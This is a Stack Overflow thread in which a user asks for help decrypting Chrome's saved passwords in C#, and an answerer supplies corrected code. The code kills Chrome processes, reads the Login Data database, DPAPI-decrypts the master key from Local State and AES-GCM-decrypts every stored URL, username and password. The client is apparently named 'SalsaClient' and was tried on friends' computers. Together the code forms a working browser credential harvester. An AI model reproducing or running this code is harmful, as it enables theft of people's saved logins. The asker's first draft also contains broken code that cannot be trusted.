2

I've had the same issue for two days now: System.Security.Cryptography.CryptographicException: The parameter is incorrect

in System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)

I used this project for my code: https://github.com/jabiel/BrowserPass/tree/master/BrowserPass

In that project the error should be in ChromePassReader.cs, line 42 I guess.

Everything was working properly on my computer, a friend of mine made me try it on his computer and it's not working for him. I have tried also on other PCs, but without success.

Most suitable answer (proposed by Topaco): The type of decryption I'm using is useful for Data Encrypted with DPAPI. Since v80.0 or later Chrome version, password data are encrypted using Aes 256 Gcm, so:

Update

I tried writing a code to decrypt AesGcm256 Password data. I get the user data from the database, located in Google Chrome folders, called Login Data. Then I should decrypt the password I get from there using AesGcm256 Decryption, but I'm not able to do it. This is my attempt:

Where I get URLs, Usernames, Passwords:

using System;
using System.Collections.Generic;
using System.Net;
using System.Data.SQLite;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
using SalsaClient.Algorithm;

namespace SalsaClient.CDS
{
    class ChromePassReader : IPassReader
    {
        public string BrowserName { get { return "Chrome"; } }

        private const string LOGIN_DATA_PATH = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";


        public IEnumerable<CredentialModel> ReadPasswords()
        {
            var result = new List<CredentialModel>();

            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var p = Path.GetFullPath(appdata + LOGIN_DATA_PATH);

            if (File.Exists(p))
            {
                Process[] chromeInstances = Process.GetProcessesByName("chrome");
                foreach (Process proc in chromeInstances)
                    proc.Kill();

                using (var conn = new SQLiteConnection($"Data Source={p};"))
                {
                    conn.Open();
                    using (var cmd = conn.CreateCommand())
                    {
                        cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
                        using (var reader = cmd.ExecuteReader())
                        {

                            if (reader.HasRows)
                            {
                                while (reader.Read())
                                {

                                    var pass = AesGcm256.decrypt(GetBytes(reader, 2)); //encrypted data

                                    result.Add(new CredentialModel()
                                    {
                                        Url = reader.GetString(0),
                                        Username = reader.GetString(1),
                                        Password = pass
                                    });

                                }
                            }
                        }
                    }
                    conn.Close();
                }

            }
            else
            {
                throw new FileNotFoundException("Cannot find chrome logins file");
            }
            return result;
        }

        private byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
        {
            const int CHUNK_SIZE = 2 * 1024;
            byte[] buffer = new byte[CHUNK_SIZE];
            long bytesRead;
            long fieldOffset = 0;
            using (MemoryStream stream = new MemoryStream())
            {
                while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
                {
                    stream.Write(buffer, 0, (int)bytesRead);
                    fieldOffset += bytesRead;
                }
                return stream.ToArray();
            }
        }
    }
}

Algorithm:

using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace SalsaClient.Algorithm
{
    class AesGcm256
    {
        public static string GetKey()
        {
            string sR = string.Empty;
            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");

            string v = File.ReadAllText(path);

            dynamic json = JsonConvert.DeserializeObject(v);
            string key = json.os_crypt.encrypted_key;

            byte[] src = Convert.FromBase64String(key);
            byte[] encryptedKey = src.Skip(5).ToArray();

            byte[] data = Convert.FromBase64String(encodedString);
            string decodedString = Encoding.UTF8.GetString(data);

            byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
        }

        public static string decrypt(string EncryptedText, byte[] key, byte[] iv)
        {
            string sR = string.Empty;
            try
            {
                byte[] encryptedBytes = Convert.FromBase64String(EncryptedText);

                GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
                AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);

                cipher.Init(false, parameters);
                byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
                Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
                cipher.DoFinal(plainBytes, retLen);

                sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }

            return sR;
        }
    }
}
UnCavoHDMI
  • 23
  • 1
  • 4
  • 1
    You should describe more precisely what you actually want to do. Based on your link you probably want to decrypt Chrome passwords. The method you use is useful for DPAPI encrypted passwords. Since Chrome v80, however, passwords are encrypted with AES-GCM (only the key is DPAPI encrypted). Maybe this is the reason. – Topaco Mar 11 '20 at 17:00
  • I see, i'l try, but how can I get key and iv to decrypt the passwords? @Topaco – UnCavoHDMI Mar 11 '20 at 18:03
  • The key is DPAPI encrypted and stored in the file system, the password data contain beside the encrypted password also the IV. A more detailed description can be found [here](https://xenarmor.com/how-to-recover-saved-passwords-google-chrome), section _Chrome v80.0 and higher_. – Topaco Mar 11 '20 at 18:14
  • Ok, thank you. The only thing is that I'm not very sure how I can get the Master Key and the nonce (IV).At the moment I'm only able to get the password data from "Login Data". @Topaco – UnCavoHDMI Mar 11 '20 at 19:59
  • Is described in detail in the linked article, you really have to read it. There you will find the path to the file where the key is located (depends on the OS). The password data starts binary with the ASCII encoding of `v10`, followed by the 12 bytes nonce and the ciphertext. The latter consists of the actual password ciphertext and the authentication tag, although for many GCM implementations these two parts don't need to be separated. [Here](https://stackoverflow.com/a/60423699/9014097) is a Python code whose logic should actually be easily ported to C#. If you get stuck, post your C# code. – Topaco Mar 11 '20 at 20:28
  • 1
    I read what's in the link you sent me. I just don't have a lot of experience with these things. Thank you again btw. I'll post my code here if I get stucked :) – UnCavoHDMI Mar 11 '20 at 20:44
  • I edited the post @Topaco – UnCavoHDMI Mar 16 '20 at 15:07
  • It's not intended to change the content of a question (apart from formatting). The reason is very simple, for subsequent readers it's difficult or even impossible to understand. In case of additional information, either edit the question and insert the additional information at the end, marked with e.g. "Update" or "Edit". Alternatively, a new question can be posted. Therefore please restore the original state of the question (including the title), add the additional information at the end of the existing question, or post a new question! – Topaco Mar 16 '20 at 19:23
  • I'm really sorry. I'm not really familiar with this platform. @Topaco I edited it. Again, I apologize. – UnCavoHDMI Mar 16 '20 at 19:50

1 Answers1

1

Unfortunately you didn't describe what exactly doesn't work. However, most of the code seems to be implemented correctly. In some parts a few minor changes and additions are necessary:

  • The DPAPI decryption of the AES key takes place in SalsaClient.Algorithm.AesGcm256.GetKey(). Here the return statement is missing. The return value is of type string. Since the key generally consists of arbitrary binary data, a suitable encoding like Base64 or hexadecimal should be used if the data are to be returned as string. Alternatively, the key can be returned as byte[], as in the following adaption:

    public static byte[] GetKey()
    {
        string sR = string.Empty;
        var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
        var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
    
        string v = File.ReadAllText(path);
    
        dynamic json = JsonConvert.DeserializeObject(v);
        string key = json.os_crypt.encrypted_key;
    
        byte[] src = Convert.FromBase64String(key);
        byte[] encryptedKey = src.Skip(5).ToArray();
    
        byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
    
        return decryptedKey;
    }
    
  • Next, SalsaClient.CDSChromePassReader#ReadPasswords() must be modified slightly:

    • The AES key must be determined.
    • The nonce and the actual ciphertext must be determined from the data read from the DB.
    • The decryption of the passwords must be carried out (using AES key, nonce and actual ciphertext).


    Overall:

    ...  
    byte[] key = AesGcm256.GetKey();
    while (reader.Read())
    {
        byte[] encryptedData = GetBytes(reader, 2);
        byte[] nonce, ciphertextTag;
        AesGcm256.prepare(encryptedData, out nonce, out ciphertextTag);
        string pass = AesGcm256.decrypt(ciphertextTag, key, nonce); 
        ...
    }
    ...
    
  • The determination of nonce and actual ciphertext is performed in the new method SalsaClient.Algorithm.AesGcm256.prepare(). At this point the information from the linked article is needed: The data associated with a password consists of the following parts:

    • The first three bytes are the ASCII encoding of v10 (0x763130).
    • The next 12 bytes are the nonce.
    • This is followed by the actual ciphertext.
    • The last 16 bytes are the authentication tag of the GCM mode.


    The actual ciphertext and the authentication tag don't need to be separated, because the C#/BC implementation of AES-GCM processes both parts together:

    public static void prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)
    {
        nonce = new byte[12];
        ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];
    
        System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
        System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
    }
    
  • Since the encrypted data (actual ciphertext and authentication tag) are in binary format, it's more convenient to pass these data to SalsaClient.Algorithm.AesGcm256.decrypt() as byte[] and not as string:

    public static string decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
    {
        string sR = string.Empty;
        try
        {
            GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
            ...
    

    The decrypted data are trimmed in the posted code at the end (line breaks and 0-values). Actually this shouldn't be necessary. But maybe you have special reasons for this.

  • At this point all necessary changes have been made. The decryption of the passwords is then accomplished by executing in the Main method:

    SalsaClient.CDS.ChromePassReader chromePassReader = new SalsaClient.CDS.ChromePassReader();
    IEnumerable<CredentialModel> credentialList = chromePassReader.ReadPasswords();
    

With this code I can decrypt the Chrome passwords on my machine (whereby my DB exclusively contains AES-GCM encrypted passwords). Note, however, that not all passwords have to be AES-GCM encrypted. Old passwords (from before v80) can still be DPAPI encrypted. Of course, they cannot be decrypted in the described way, but must be DPAPI decrypted. As mentioned above, passwords encrypted with AES-GCM can be identified by the fact that they start with the ASCII encoding of v10 (0x763130). Maybe you need to add a corresponding case distinction to your code (at least if DPAPI encrypted passwords are still stored in the DB).

Topaco
  • 40,594
  • 4
  • 35
  • 62